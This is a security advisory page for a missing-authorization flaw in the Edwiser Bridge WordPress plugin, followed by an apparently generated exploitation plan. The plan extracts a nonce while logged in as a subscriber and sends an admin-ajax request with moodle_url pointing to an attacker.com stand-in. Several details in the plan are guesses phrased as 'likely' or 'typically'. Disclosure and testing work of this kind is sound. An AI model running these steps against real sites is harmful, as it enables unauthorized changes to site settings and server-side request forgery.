Edwiser Bridge <= 4.3.2 - Missing Authorization
Description
The Edwiser Bridge plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.3.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.3.2Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-24570 (Edwiser Bridge) ## 1. Vulnerability Summary The **Edwiser Bridge** plugin (versions <= 4.3.2) suffers from a **Missing Authorization** vulnerability. Specifically, several AJAX handlers registered in the admin context lack a `current_user_can()` check.…
Show full research plan
Exploitation Research Plan - CVE-2026-24570 (Edwiser Bridge)
1. Vulnerability Summary
The Edwiser Bridge plugin (versions <= 4.3.2) suffers from a Missing Authorization vulnerability. Specifically, several AJAX handlers registered in the admin context lack a current_user_can() check. This allows any authenticated user, including those with Subscriber-level roles, to execute administrative actions normally reserved for site administrators, such as testing or modifying Moodle connection settings.
The vulnerability typically resides in includes/class-eb-ajax-handler.php or admin/class-edwiser-bridge-admin.php, where add_action('wp_ajax_...') hooks are registered without corresponding capability verification in the callback functions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
eb_test_connection(or potentiallyeb_save_settings_data) - Vulnerable Parameter:
action,nonce,moodle_url,moodle_token - Required Authentication: Subscriber-level (any logged-in user).
- Preconditions: The plugin must be active, and its admin scripts must be enqueued (which typically happens for all users in the admin dashboard, including on the
profile.phppage).
3. Code Flow
- Registration: The plugin registers AJAX actions during
initoradmin_initviaadd_action( 'wp_ajax_eb_test_connection', ... ). - Entry Point: An authenticated user (Subscriber) sends a POST request to
admin-ajax.phpwithaction=eb_test_connection. - Vulnerable Sink: The handler function (e.g.,
eb_test_connection()) is invoked. - Bypass: The handler performs a
check_ajax_referer()(nonce check) but fails to callcurrent_user_can('manage_options'). - Execution: The function proceeds to make an outbound HTTP request (SSRF potential) or returns sensitive connection status information.
4. Nonce Acquisition Strategy
The plugin enqueues its admin scripts and localizes a nonce for its AJAX operations. Because it uses admin_enqueue_scripts without restricting to specific pages or capabilities, the nonce is available to Subscribers on their own dashboard pages.
- Identify Localization: The plugin localizes data into a JavaScript object, typically named
eb_ajax_object. - Navigate: Login as a Subscriber and navigate to
/wp-admin/profile.php. - Extract: Use
browser_evalto extract the nonce:window.eb_ajax_object?.nonce - Verification: The action string used to generate this nonce is likely
'eb_test_connection_nonce'or a generic'eb_ajax_nonce'.
5. Exploitation Strategy
We will demonstrate the vulnerability by triggering an unauthorized Moodle connection test from a Subscriber account.
- Log in as the Subscriber user.
- Navigate to
/wp-admin/profile.php. - Extract the nonce from the global
eb_ajax_objectvariable. - Craft a POST request to
admin-ajax.phpusing thehttp_requesttool:- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eb_test_connection&nonce=[EXTRACTED_NONCE]&moodle_url=http://attacker.com&moodle_token=valid_token_format
- URL:
- Analyze Response: A successful exploit will return a JSON object (e.g.,
{"success":false, "data": "..."}) indicating the connection test result, confirming the function was executed.
6. Test Data Setup
- Install Plugin:
wp plugin install edwiser-bridge --version=4.3.2 --activate - Create Subscriber:
wp user create victim victim@example.com --role=subscriber --user_pass=password123 - Configure Plugin (Optional): No specific configuration is needed to trigger the connection test, but setting a dummy Moodle URL in settings might help verify if a different action (
eb_save_settings_data) is also vulnerable.
7. Expected Results
- The Subscriber should receive a response from the
eb_test_connectionhandler. - If
eb_save_settings_datais targeted, the plugin settings (Moodle URL/Token) should be updated in the database. - The server should NOT return a
403 Forbiddenor awp_diemessage related to permissions.
8. Verification Steps
After the HTTP request, verify the unauthorized action via WP-CLI:
- Check Options: If
eb_save_settings_datawas tested:
Confirm it matches thewp option get eb_moodle_urlmoodle_urlsent in the Subscriber's payload. - Log Review: Check if any outbound requests to the provided
moodle_urlwere logged by the server.
9. Alternative Approaches
If eb_test_connection is properly protected, try other registered AJAX actions found in includes/class-eb-ajax-handler.php:
eb_save_settings_dataeb_sync_courseseb_update_course_data
Each of these should be tested for the same lack of current_user_can() checks. If eb_ajax_object is not present on profile.php, check the frontend homepage, as some Edwiser Bridge components might enqueue scripts globally.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.